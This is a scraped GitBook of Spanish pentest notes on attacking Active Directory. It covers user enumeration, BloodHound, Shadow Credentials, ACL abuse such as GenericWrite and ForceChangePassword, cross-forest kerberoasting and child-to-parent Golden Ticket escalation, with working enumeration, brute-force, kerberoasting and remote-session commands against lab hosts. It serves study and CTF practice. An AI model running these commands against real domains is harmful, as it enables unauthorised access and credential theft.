arrow-left

Solo esta páginaTodas las páginas
gitbookCon tecnología de GitBook
1 de 81

Pentest Notes

Loading...

ACTIVE DIRECTORY PENTESTING

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

WINDOWS PENTESTING

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

LINUX PENTESTING

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

NETWORK SERVICES PENTESTING

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

WEB PENTESTING

Loading...

Loading...

Loading...

Loading...

TOOLS

Loading...

Loading...

Loading...

Loading...

REVERSING

Loading...

Loading...

Home

Soy estudiante de ciberseguridad y he creado este espacio para compartir mis apuntes y técnicas relacionadas con el Pentesting. Aquí voy subiendo todo lo que aprendo, desde conceptos básicos hasta ataques más avanzados, con ejemplos y enfoques prácticos que uso en mi día a día.

La idea es que estas notas sean claras y útiles, tanto para mí como para cualquiera que esté en este mundo o quiera empezar en él. Me gusta documentar lo que hago porque me sirve para reforzar lo aprendido y, de paso, devolver algo a la comunidad que me ha ayudado tanto.

Este sitio no pretende ser perfecto, pero sí práctico y al grano. Lo que más me importa es seguir aprendiendo y tener un lugar donde organizar lo que sé. Si te sirve o te inspira a mejorar, ya con eso me doy por satisfecho.

¡Gracias por pasarte por aquí! 😊

Cover

Cover

Cover

Gzzcooarrow-up-right
Hack The Boxarrow-up-right
Walkthroughsarrow-up-right

Initial Enumeration

Enumerating users

hashtag
No credentials

hashtag
NSrpcenum

Se trata de la herramienta de S4vitar, pero con el nombre renombrado, para diferenciar de la otra herramienta creada llamada rpcenum que sí permite utilizar credenciales.

Esta herramienta permite enumerar el DA a través del protocolo RPC con una Null Session, es decir, sin proporcionar credenciales de acceso. Solamente funcionará en caso de que tengamos los permisos adecuados.


hashtag
rpccclient


hashtag
Kerbrute usernames


hashtag
Netexec with guest user


hashtag
Netexec Kerberos Enumeration Brute Force

Realizar fuerza bruta, similar a Kerbrute para verificar si un usuario es válido en el dominio a través de Kerberos.

triangle-exclamation

En caso de que exista el usuario, aparecerá mensaje de: KDC_ERR_PREAUTH_FAILED Si no existe ese usuario, aparecerá mensaje de: KDC_ERR_C_PRINCIPAL_UNKNOWN


hashtag
ridenum


hashtag
impacket-lookupsid


hashtag
With credentials

hashtag
ldapdomaindump


hashtag
rpcenum

A través de la herramienta de rpcenum modificada, podemos realizar una enumeración completa de usuarios y demás información a través del protocolo RPC. La herramienta requiere de credenciales válidas.


hashtag
rpcclient


hashtag
Netexec


hashtag
impacket-lookupsid


hashtag
ldapsearch

Attacking Domain Trusts

BloodHound

hashtag
Introduction

BloodHound es una herramienta fundamental en auditorías de Active Directory, diseñada para identificar relaciones de confianza y posibles vectores de ataque dentro de un dominio. Permite analizar cómo un atacante podría moverse lateralmente o escalar privilegios aprovechando relaciones ya existentes entre objetos del dominio.

En esta sección vamos a centrarnos en explicar los distintos métodos de recolección de datos disponibles (collectors), comparando su uso y aplicabilidad según el entorno. Además, detallaremos la instalación y diferencias clave entre BloodHound clásico y BloodHound Community Edition (CE).

A lo largo del blog veremos:

  • Cómo utilizar los diferentes collectors:

    • SharpHound.exe: el ejecutable clásico.

    • SharpHound.ps1: ideal para entornos con PowerShell habilitado.

El objetivo es dejar documentado de forma clara y funcional cómo trabajar con BloodHound, integrarlo en una auditoría y aprovechar al máximo sus capacidades.


hashtag
Collectors

Para que BloodHound pueda generar un grafo útil y preciso del dominio, primero es necesario realizar una fase de recolección de información. Esta tarea recae sobre los collectors, que son los encargados de extraer los datos estructurales del entorno Active Directory: relaciones entre usuarios y grupos, sesiones activas, delegaciones, permisos sobre objetos, entre otros.

Actualmente existen varios collectors disponibles, cada uno diseñado para adaptarse a distintos escenarios operativos, niveles de privilegios o restricciones del entorno. Elegir el collector adecuado depende tanto del contexto técnico como de los objetivos del análisis.

En este apartado documentamos los principales collectors utilizados en auditorías de AD, incluyendo su instalación, ejecución y particularidades:

  • SharpHound.exe: el ejecutable clásico para entornos Windows.

  • SharpHound.ps1: alternativa en PowerShell útil en entornos con políticas más restrictivas.

  • bloodhound-python: collector multiplataforma, ideal para recolección desde sistemas Linux.

Esta sección tiene como objetivo servir de referencia práctica para seleccionar y utilizar el collector más adecuado en función del entorno y los objetivos de la auditoría.

triangle-exclamation

¡MUY IMPORTANTE!

Siempre que consigamos un nuevo usuario, se recomienda lanzar de nuevo el recolector de BloodHound con esas credenciales. Es posible que el primer usuario tuviera permisos limitados para enumerar el dominio, y con el nuevo podamos obtener más relaciones o privilegios que antes no eran visibles.

Por eso, con cada cuenta nueva, lo ideal es ejecutar otro collector y generar un nuevo .zip


hashtag
bloodhound-python

hashtag
Installation

Use

triangle-exclamation

Se recomienda antes sincronizar la hora con el DC para evitar problemas de .

# Autenticación usuario y contraseña

# Autenticación a través de Pass-the-Hash (PtH)

# Autenticación mediante Kerberos (.ccache)


hashtag
RustHound

hashtag
Installation

Tenemos que disponer de rust instalado en Kali, podemos seguir el siguiente blog para instalarlo.

Una vez instalado rust en nuestro equipo, instalaremos RustHound-CE a través del siguiente comando.

Use

# Autenticación usuario y contraseña

# Autenticación usuario y contraseña para ADCS

# Autenticación mediante Kerberos (.ccache)

# Autenticación mediante Kerberos (.ccache) para ADCS


hashtag
SharpHound.ps1

hashtag
Importar en memoria SharpHound.ps1

# Importar SharpHound.ps1 a través de un servidor web que tiene alojado el script PS!, puede ser el nuestro propio de atacante.

# Teniendo el script de PowerShell en la máquina vícitma podemos importarlo de la siguiente manera

hashtag
Recoletar información a través de SharpHound.ps1


hashtag
SharpHound.exe

Pasaremos el binario al equipo víctima y lo ejecutaremos para recolectar la información.


hashtag
NetExec

# Autenticación a través de usuario y contraseña

# Autenticación a través de Pass-the-Hash (PtH)

# Autenticación a través de Kerberos

# Autenticación a través de Kerberos (.ccache)


hashtag
certipy-ad

hashtag
BloodHound

# Autenticación a través de usuario y contraseña

# Autenticación a través de Pass-the-Hash (PtH)

# Autenticación a través de Kerberos (.ccache)

hashtag
Old BloodHound

# Autenticación a través de usuario y contraseña

# Autenticación a través de Pass-the-Hash (PtH)

# Autenticación a través de Kerberos (.ccache)


hashtag
BloodHound CE

hashtag
Installation

Actualizaremos los repositorios e instalaremos docker-compose en nuestro equipo.

Nos descargaremos el archivo del docker-compose.yml con cURL y comprobaremos que se ha descargado correctamente.

También podemos crear directamente el contenido del docker-compose.yml.

Iniciaremos los contenedores definidos en el archivo docker-compose.yml.

Verificaremos que los contenedores se encuentran en ejecución y no ha habido ningún fallo.

Comprobaremos la contraseña inicial en los logs.

Accederemos a y asignaremos las siguientes credenciales:

  • Username: admin

  • Password: Contraseña Inicial obtenida en el punto anterior

Indicaremos la contraseña inicial en el primer campo, y la nueva contraseña que deberá cumplir los requisitos establecidos.

circle-info

Normalmente 12 caracteres mínimo, 1 mayúscula, 1 minúscula, 1 número y 1 símbolo especial.

Ya dispondremos de nuestro BloodHound CE instalado correctamente en nuestro equipo a través de Docker.

hashtag
Video installation guide


hashtag
Start BloodHound CE

En mi caso tengo el archivo docker-compose.yml en el directorio /opt/BloodHound-CE. De esta manera sin importar en el directorio donde me encuentre lo levanto directamente con el siguiente comando.

triangle-exclamation

Para iniciar el BloodHound-CE deberemos tener los contenedores ya instalados tal y como se indica en los puntos anteriores.

El comando sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml up -d nos sirve para iniciar de cero los contenedores, esto es útil si hay alguna modificación en el docker-compose.yml. En nuestro caso no lo modificaremos, por lo tanto deberemos utilizar el start para iniciarlo.


hashtag
Stop BloodHound CE

Para parar BloodHound-CE ejecutaremos el siguiente comando, así liberamos los puertos que utiliza, etc. Luego podemos levantarlo con el comando anterior o con sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start


hashtag
Ingest Data

Para subir nuestra información recolectada a través de los Collectors, deberemos de ingresar a . Una vez nos encontremos en el panel de BloodHound-CE realizaremos los siguientes pasos.

  1. Ingresar al apartado de "Administration"

  2. Acceder a la pestaña de "File Ingest"

  3. Click en "Upload File(s)"

Haremos click dentro de la casilla o también podremos arrastrar directamente nuestor .zip o los archivos JSON sueltos.

Seleccioanaremos nuestro archivo comprimido.

Una vez seleccionado nuestro archivo, le daremos a la opción de Upload.

Confirmaremos que nso aparece el siguiente mensaje indicando que se han subido correctamente. Le daremos a Close.

Verificaremos que después de que se integre correctamente los datos recopilados, nos aparece como Complete. En caso de que aparezca otro estado como Cancelled, volver a subir el archivo. Si el problema persiste, es altamente posible que el problema se encuentre en la compatibilidad del Collector utilizado, probar con otro.

Una vez todo subido, podemos hacer uso de BloodHound-CE y navegar en la interfaz.


hashtag
Erase Data

Cuando necesitemos borrar la "base de datos" que tiene BloodHound-CE de los datos subidos anteriormente, deberemos de eliminar los datos. Podemos hacer una "limpieza profunda" para no dejar rastro de los datos subidos. Para ello, realizaremos los siguientes pasos.

  1. Accederemos al apartado "Administration"

  2. Ingresaremos al apartado de "Database Management"

  3. Marcaremos todas las casillas, para la "limpieza profunda"


hashtag
How to use

Una vez tengamos subido nuestros datos en BloodHound-CE, podremos navegar en la interfaz accediendo al apartado de "Explore".


Search

En el apartado de SEARCH podemos buscar por un nodo/objeto que queramos consultar, si no aparece significa que no existe o bien a la hora de recolectar la información no ha aparecido (seguramente por tema de permisos).


Click node info

Al hacer click sobre un nodo/objecto, nos aparecerá en la zona lateral derecha el siguiente menú con distintos submenús del nodo/objeto que investigaremos a continuación.

Disponemos de varios sub apartados, aunque los más relevantes de momento son los siguientes.

En el apartado de Object Information, nos aparecerá toda la información del nodo/objeto. Entre la información que podemos destacar se encuentra la de:

  • Distinguished Name

  • Si el usuario dispone de DONT_REQ_PREAUTH (Es decir, susceptible a AS-REP Roast)


Pathfinding

La funcionalidad de Pathfinding en BloodHound CE permite buscar rutas de ataque desde un nodo de inicio hasta un objetivo, evaluando los privilegios y relaciones entre usuarios y grupos.

En este ejemplo, partimos desde OLIVIA@ADMINISTRATOR.HTB, que tiene un GenericAll sobre MICHAEL@ADMINISTRATOR.HTB, lo que permite control total sobre esa cuenta. A su vez, MICHAEL puede forzar el cambio de contraseña de BENJAMIN@ADMINISTRATOR.HTB, lo que completa la cadena de ataque.

Este tipo de vista es clave para identificar caminos reales de escalada de privilegios o movimientos laterales dentro del dominio.


Edges

En BloodHound CE, los edges representan las relaciones entre objetos del dominio. Estas relaciones pueden ser de distintos tipos: pertenencia a grupos (MemberOf), delegaciones (GetChanges, GenericAll, etc.), sesiones activas, ACLs y muchas otras.

Cuando hacemos clic en un edge, se abre un panel con más detalle sobre esa relación. Este panel incluye diferentes secciones:

Muestra una descripción técnica de la relación detectada.

Explica cómo se podría abusar de esa relación desde un entorno Windows.

Muestra el equivalente en herramientas como Impacket o similares desde Linux.

Enlaces útiles para ampliar la información técnica o práctica del abuso.


Marking Objects as Owned/High Value

BloodHound CE permite marcar manualmente objetos del dominio como Owned (comprometidos) o High Value (objetivos prioritarios). Esto nos ayuda a visualizar mejor el progreso de una auditoría y enfocar los análisis de ruta hacia activos críticos.

Estas marcas se aplican desde el clic derecho sobre el nodo. Una vez marcado, el nodo se resalta visualmente en el grafo con un ícono correspondiente.

Marcamos un nodo como comprometido cuando ya tenemos control sobre él (por ejemplo, si conseguimos credenciales o ejecución remota).

Se usa para señalar objetivos importantes como Domain Admins, cuentas de servicio clave o sistemas críticos.

En el panel Group Management podemos gestionar de forma organizada los objetos marcados como Owned o High Value. Su uso se resume en los siguientes pasos:

  1. Accedemos al apartado Group Management desde el ícono de personas (barra lateral izquierda).

  2. Seleccionamos el grupo que queremos revisar Owned/High Value.

  3. Elegimos el entorno, normalmente All Active Directory Domains.


Querys Cypher

En esta sección podemos lanzar queries en lenguaje Cypher para consultar relaciones dentro del grafo de BloodHound. Es muy útil para buscar rutas de ataque o listar objetos críticos de forma más precisa.

BloodHound CE ya trae varias queries predefinidas, como:

  • Usuarios Kerberoastables

  • Rutas más cortas hacia Domain Admins

  • Listado de todos los Domain Admins

También podemos modificar estas queries o crear las nuestras según lo que necesitemos buscar en el entorno.


Custom Querys

BloodHound CE permite crear y guardar nuestras propias queries en Cypher. Esto nos da flexibilidad para buscar relaciones específicas en el grafo y reutilizar esas búsquedas en futuras auditorías.

En el siguiente repositorio de GitHub, disponemos de algunas Querys ya creadas que podemos añadir.

En este caso, ponemos la QUERY que queremos consultar, le daremos a "Save Query".

Le asignaremos un nombre a la QUERY.

Y verificaremos que se nos guarda, al darle click nos realizará la consulta asignada.


hashtag
BloodHound

hashtag
Installation

Actualizaremos los repositorios e instalaremos BloodHound y Neo4j para que funcione correctamente BH.

Abriremos en una terminal aparte Neo4j, se nos iniciará la interfaz web en

Accederemos a e ingresaremos las siguientes credenciales por defecto.

  • Username: neo4j

  • Password: neo4j

Nos pedirá cambiar la contraseña.

Una vez modificada la contraseña del Neo4j, abriremos BloodHound en segundo plano en una nueva terminal.

Indicaremos al usuario neo4j y las nuevas credenciales modificadas. Podemos guardar las credenciales para que se nos conecte automáticamente.

Una vez inicie sesión, se iniciará correctamente BloodHound y ya podremos navegar dentro de él.

hashtag
Video installation guide


hashtag
Start BloodHound and Neo4j

Para iniciar BloodHound una vez ya realizada la instalación es ejecutar los siguientes comandos.

En una terminal aparte, abriremos Neo4j. Deberemos dejar que nos aparezca la línea del output en el cual indica que la interfaz web está habilitada en

Abriremos BloodHound en segundo plano, si tenemos las credenciales almacenadas con el check, iniciará sesión automáticamente.


hashtag
Ingest Data

circle-info

En redacción...


hashtag
Erase Data

circle-info

En redacción...


hashtag
How to use

circle-info

En redacción...

Shadow Credentials

hashtag
Introduction

El ataque conocido como Shadow Credentials permite a un atacante obtener acceso persistente a una cuenta de Active Directory (usuario o máquina) sin conocer su contraseña ni su hash. Para lograrlo, se abusa del atributo poco conocido llamado msDS-KeyCredentialLink, introducido con Windows Server 2016.

Este atributo permite almacenar claves públicas asociadas a una cuenta para autenticación mediante Kerberos PKINIT, un método que reemplaza el uso de contraseñas por criptografía asimétrica (clave pública/privada).

Si un atacante tiene permisos como WriteProperty, GenericWrite o GenericAll sobre ese atributo en una cuenta objetivo, puede inyectar su propia clave pública. Luego, puede autenticarse como ese usuario usando PKINIT y su clave privada, consiguiendo un TGT válido sin necesidad de contraseñas ni tickets previos.

hashtag
¿Por qué es peligroso?

  • No se requiere modificar la contraseña del objetivo.

  • La cuenta sigue funcionando normalmente, sin alertas visibles.

  • La clave inyectada puede pasar desapercibida si no se monitoriza msDS-KeyCredentialLink.

hashtag
Requisitos clave

  • Un controlador de dominio con soporte PKINIT (Windows Server 2016 o superior).

  • Entorno con Active Directory Certificate Services (AD CS) o una CA interna.

  • Permisos para modificar el atributo msDS-KeyCredentialLink en una cuenta del dominio. (GenericAll, GenericWrite o AddKeyCredentialLink)

hashtag
¿Qué logra el atacante?

Una vez que inyecta la clave pública en el atributo msDS-KeyCredentialLink, el atacante puede:

  • Autenticarse como el objetivo mediante PKINIT, sin necesidad de conocer su contraseña ni su hash.

  • Obtener un Ticket Granting Ticket (TGT) válido para esa cuenta.

  • Realizar movimientos laterales o delegaciones utilizando técnicas como S4U2self o S4U2proxy.

En esta sección documentaremos la teoría detrás de esta técnica, cómo identificar entornos vulnerables, cómo explotarla paso a paso con herramientas como pyWhisker, Certipy o PKINITtools, bloodyAD o ldap_shell.


hashtag
From Linux

hashtag
certipy-ad


hashtag
ldap_shell

hashtag
Authentication on ldap_shell

triangle-exclamation

Si no conocemos el LM Hash, tenemos que indicar (aad3b435b51404eeaad3b435b51404ee) y posteriormente el hash NTLM. Formato --> LMHASH:NTHASH

Command to use

Proof of Concept (PoC)


hashtag
bloodyAD and PKINIT

Paso 1: Creación de las Shadow Credentials al usuario victim

Una vez ejecutado la herramienta de bloodyAD para añadir las Shadow Credentials al usuario, se nos proporcionará un comando a ejecutar a través de las herramientas de .

Paso 2: Solicitud del ticket TGT después del Shadow Credentials

Ejecutaremos el comando proporcionado en el paso anterior para solicitar el TGT correspondiente al usuario el cual le hemos añadido las Shadow Credentials.

Nos quedaremos con el valor del TGT que se nos generará (.ccache), ya que lo necesitaremos en el siguiente paso. Por otro lado, también necesitaremos el valor de la Key que se nos proporciona que se encuentra marcada en rojo en el apartado INFO.

Paso 3: Exportar en la sesión actual el ticket TGT

Exportaremos en la variable KRB5CCNAME el ticket TGT que se nos ha generado en el paso anterior (.ccache) y verificaremos que es un ticket válido a través de klist.

Paso 4: Recuperar el hash NTLM del usuario

El último paso deberemos de utilizar la herramienta getnthash.py de PKINIT en la cual necesitaremos proporcionar la Key que se nos proporciona en el paso 2, haber importado el ticket TGT en nuestra sesión e indicar el dominio y el usuario victim.

Proof of Concept (PoC)


hashtag
pyWhisker and PKINIT


hashtag
References

GenericWrite

hashtag
Introduction

En Active Directory, cada objeto (usuario, grupo, equipo…) está protegido por una lista de control de acceso (ACL) cuyo conjunto de entradas (ACE) define qué acciones puede realizar cada identidad. El permiso GenericWrite actúa como una “master key” de escritura: engloba casi todos los derechos para modificar atributos y flags de un objeto, salvo aquellos que requieren permisos especiales (p. ej. resetear contraseñas).

Con GenericWrite sobre un usuario un atacante puede:

  • Escribir en servicePrincipalNames y lanzar un Kerberoasting dirigido.

  • Habilitar cuentas deshabilitadas modificando el userAccountControl.

  • Marcar la bandera DONT_REQ_PREAUTH en userAccountControl, permitiendo AS-REP Roasting sin necesidad de preautenticación.

  • Inyectar certificados en msDS-KeyCredentialLink para crear “Shadow Credentials” y autenticarse vía Kerberos PKINIT como si fuera ese usuario.

Si controla GenericWrite sobre un grupo, puede añadirse (o agregar cualquier otra cuenta) directamente al grupo, escalando privilegios al instante.

Y si lo obtiene sobre un objeto de equipo, puede tocar el atributo msDS-KeyCredentialLink del equipo, generando Shadow Credentials de máquina y autenticándose como esa cuenta de equipo mediante PKINIT.


hashtag
Group

hashtag
Add user to a group

En estos ejemplos, añadiremos al usuario targetUser al grupo targetGroup a través del usuario attacker que es el que dispone del privilegio GenericWrite sobre el grupo targetGroup, con lo cual podemos añadirnos a nosotros mismos o a otros usuarios.

hashtag
From Linux


hashtag
From Windows


hashtag
User

hashtag
Enable disabled user


hashtag
Kerberoasting


hashtag
AS-REP Roasting


hashtag
Shadow Credentials


hashtag
Script path


hashtag
Computer

hashtag
Resource-based Constrained Delegation(RBCD Attack)

hashtag
References

ForceChangePassword

hashtag
Introduction

En este post, exploramos el abuso de ForceChangePassword Active Directory a través de la explotación de Listas de Control de Acceso Discrecional (DACL) utilizando el permiso ForcePasswordChange en entornos Active Directory. Este permiso es especialmente peligroso para cuentas privilegiadas, ya que permite el movimiento lateral y el acceso no autorizado a través de sistemas suplantando la identidad de la cuenta comprometida. Por lo tanto, entender cómo funciona esta vulnerabilidad es crucial para los profesionales de la seguridad.


hashtag
From Linux

hashtag
bloodyAD

hashtag
Proof of Concept (PoC)


hashtag
PowerView.py

hashtag
Authentication on PowerView.py

hashtag
Command to use

hashtag
Proof of Concept (PoC)


hashtag
Impacket-changepasswd


hashtag
NetExec

hashtag
Change Password of a different User

Podemos modificar la contraseña de otro usuario el cual tengamos los permisos suficientes (GenericAll o ForceChangePassword) a través de (NEWPASS) o modificar su hash NTLM (NEWNTHASH).

Modificar contraseña de otro usuario.

Modificar hash NTLM de otro usuario.

Modificar contraseña de otro usuario.

Modificar hash NTLM de otro usuario.

Modificar contraseña de otro usuario.

Modificar hash NTLM de otro usuario.


hashtag
ldap_shell

Deberemos acceder a la interfaz interactiva de ldap_shell, para ello deberemos autenticarnos a través de alguno de los siguientes métodos. Posteriormente al acceder a la terminal de ldap_shell, ejecutaremos el comando correspondiente para modificar la contraseña del usuario.

hashtag
Authentication on ldap_shell

triangle-exclamation

Si no conocemos el LM Hash, tenemos que indicar (aad3b435b51404eeaad3b435b51404ee) y posteriormente el hash NTLM. Formato --> LMHASH:NTHASH

hashtag
Command to use

hashtag
Proof of Concept (PoC)


hashtag
rpcclient


hashtag
net rpc


hashtag
pth-net


hashtag
Metasploit

Accedemos a Metasploit a través de (msfconsole -q) y ejecutamos los siguientes comandos. Desde nuestro usuario attacker que dispone del ACL ForceChangePassword sobre el usuario victim, realizaremos el cambio de contraseña.

hashtag
Proof of Concept (PoC)


hashtag
From Windows

hashtag
bloodyAD.exe


hashtag
PowerView.ps1


hashtag
Mimikatz


hashtag
Windows Native


hashtag
References

Cross-Forest Trust Abuse

hashtag
From Windows

hashtag
Cross-Forest Kerberoasting

hashtag
Enumerating Accounts for Associated SPNs Using Get-DomainUser

hashtag
Performing a Kerberoasting Attacking with Rubeus Using /domain Flag


hashtag
Admin Password Re-Use & Group Membership

En entornos con trust bidireccional entre forests, si se compromete el Dominio A y se obtiene la contraseña o hash NT de una cuenta con privilegios (como Administrator o un Domain Admin), conviene comprobar si hay cuentas con el mismo nombre en el Dominio B. Si reutilizan contraseñas, es posible escalar directamente.

También es común que admins del Dominio A estén en grupos locales del Dominio B (como el grupo Administrators), lo que permite acceso total si se compromete esa cuenta.

Para detectar estos casos, se puede usar Get-DomainForeignGroupMember de PowerView y revisar foreign group membership, especialmente útil si existe un trust entre forests como con CORP.LOCAL.

hashtag
Using Get-DomainForeignGroupMember

La salida del comando muestra que el grupo Administrators en CORP.LOCAL incluye como miembro a la cuenta Administrator de CORPORATE.LOCAL. Esto confirma que hay una relación de trust funcional entre ambos dominios.

Se puede verificar el acceso ejecutando Enter-PSSession vía WinRM, usando las credenciales de esa cuenta para conectarse al sistema remoto.

hashtag
Accessing DC03 Using Enter-PSSession


hashtag
from Linux

hashtag
Cross-Forest Kerberoasting

Abusing Active Directory ACLs/ACEs

hashtag
GenericAll/GenericWrite

hashtag
User/Computer

Child -> Parent Trusts

Para realizar este ataque tras comprometer un child domain, necesitamos lo siguiente:

  • El hash KRBTGT del child domain

  • El SID del child domain

NSrpcenum -e DUsers -i 10.10.10.10
# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.

for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'
# Fuerza bruta para enumerar usuarios a través de Kerberos mediante un diccionario
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Validar si usuarios son válidos a nivel de dominio con un listado de posibles usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb possible_users.txt
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute
nxc ldap dc.dominio.htb -u users.txt -p '' -k
ridenum 10.10.10.10 500 10000 guest ''
# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'
# Enumerar el LDAP entero y quedarnos solamente con los nombres de los usuarios
ldapdomaindump -u 'dominio.htb\user' -p 'password' 10.10.10.10 -o ldap; cd ldap; echo; cat domain_users.grep | awk '{print $1}' | tail -n +2
rpcenum -e DUsers -i 10.10.10.10 -u 'user' -p 'password'
# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. Necesario disponer de credenciales.

for i in $(seq 1000 1500); do rpcclient -U "user%password" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'
# Obtener usuarios del dominio a través de RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute

# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'

# Enumeración de usuarios a través de LDAP
nxc ldap 10.10.10.10 -u 'user' -p 'password' --users
# Enumeración de usuarios con lookupsid con credenciales válidas.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10| grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'
# Enumeración de todos los usuarios del DA a través de autenticación simple (NTLM)
ldapsearch -H ldap://10.10.10.10 -D 'user@dominio.htb' -w 'password' -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'

# Enumeración de todos los usuarios del DA a través de autenticación Kerberos
ldapsearch -H ldap://dc.dominio.htb -Y GSSAPI -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'

Tools

Windows Privilege Escalation

El nombre de un usuario objetivo en el child domain (¡no necesita existir!)
  • El FQDN del child domain

  • El SID del grupo Enterprise Admins del root domain

  • Con estos datos recopilados, el ataque puede ejecutarse con Mimikatz.

  • hashtag
    from Windows

    hashtag
    Mimikatz

    hashtag
    Obtaining the KRBTGT Account's NT Hash using Mimikatz

    En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f

    hashtag
    Using Get-DomainSID

    El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689

    hashtag
    Obtaining Enterprise Admins Group's SID using Get-DomainGroup

    El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519

    En este punto, hemos recopilado los siguientes datos:

    • Hash KRBTGT del child domain: 9d765b482771505cbe97411065964d5f

    • SID del child domain: S-1-5-21-2806153819-209893948-922872689

    • Nombre de usuario objetivo en el child domain (¡no necesita existir!): elegimos un usuario ficticio: hacker

    • FQDN del child domain: CHILD.PARENT.LOCAL

    • SID del grupo Enterprise Admins del root domain: S-1-5-21-3842939050-3880317879-2865463114-519

    hashtag
    Creating a Golden Ticket with Mimikatz

    Generamos el Golden Ticket y ya lo tendremos en nuestra sesión actual.


    hashtag
    Rubeus

    hashtag
    Creating a Golden Ticket using Rubeus

    hashtag
    Confirming the Ticket is in Memory Using klist

    hashtag
    Performing a DCSync Attack


    hashtag
    from Linux

    También podemos realizar el ataque mostrado en la sección anterior desde un host de ataque Linux. Para hacerlo, aún necesitaremos reunir la misma información:

    • El hash KRBTGT del dominio hijo

    • El SID del dominio hijo

    • El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir!)

    • El FQDN del dominio hijo

    • El SID del grupo Enterprise Admins del dominio raíz

    hashtag
    Manual Attack

    hashtag
    Performing DCSync with secretsdump.py

    En este ejemplo se nos proporciona el siguiente hash NTLM de la cuenta krbtgt: 9d765b482771505cbe97411065964d5f

    hashtag
    Performing SID Brute Forcing using lookupsid.py

    El DomainSID del child domain de ejemplo que nos aparece de resultado es: S-1-5-21-2806153819-209893948-922872689

    hashtag
    Grabbing the Domain SID & Attaching to Enterprise Admin's RID

    El SID del grupo "Enterprise Admins" del root domain de ejemplo es: S-1-5-21-3842939050-3880317879-2865463114-519

    Hemos reunido los siguientes datos para construir el comando de nuestro ataque. Nuevamente, usaremos el usuario inexistente hacker para forjar nuestro Golden Ticket:

    • El hash KRBTGT del dominio hijo: 9d765b482771505cbe97411065964d5f

    • El SID del dominio hijo: S-1-5-21-2806153819-209893948-922872689

    • El nombre del usuario objetivo en el dominio hijo: hacker

    • El FQDN del dominio hijo: CHILD.PARENT.LOCAL

    • El SID del grupo Enterprise Admins del dominio raíz: S-1-5-21-3842939050-3880317879-2865463114-519

    hashtag
    Constructing a Golden Ticket using ticketer.py

    hashtag
    Setting the KRB5CCNAME Environment Variable

    hashtag
    Getting a SYSTEM shell using Impacket's psexec.py


    hashtag
    Automatic Attack (raiseChild.py)

    Impacket también incluye la herramienta raiseChild.pyarrow-up-right, que automatiza la escalada del dominio hijo al dominio padre. Necesitamos especificar el Domain Controller objetivo y las credenciales de un usuario administrativo en el dominio hijo; el script hará el resto.

    Import-Module .\PowerView.ps1
    Get-DomainUser -SPN -Domain CORP.LOCAL | select SamAccountName
    .\Rubeus.exe kerberoast /domain:CORP.LOCAL /user:mssqlsvc /nowrap
    PS C:\> Import-Module .\PowerView.ps1
    PS C:\> Get-DomainForeignGroupMember -Domain CORP.LOCAL
    
    GroupDomain             : CORP.LOCAL
    GroupName               : Administrators
    GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=CORP,DC=LOCAL
    MemberDomain            : CORP.LOCAL
    MemberName              : S-1-5-21-3842939050-3880317879-2865463114-500
    MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=CORP,DC=LOCAL
    
    PS C:\> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
    
    CORPORATE\administrator
    PS C:\htb> Enter-PSSession -ComputerName DC03.CORP.LOCAL -Credential CORPORATE\administrator
    
    [DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> whoami
    inlanefreight\administrator
    
    [DC03.CORP.LOCAL]: PS C:\Users\administrator.CORPORATE\Documents> ipconfig /all
    
    Windows IP Configuration
    
       Host Name . . . . . . . . . . . . : DC03
       Primary Dns Suffix  . . . . . . . : CORP.LOCAL
       Node Type . . . . . . . . . . . . : Hybrid
       IP Routing Enabled. . . . . . . . : No
       WINS Proxy Enabled. . . . . . . . : No
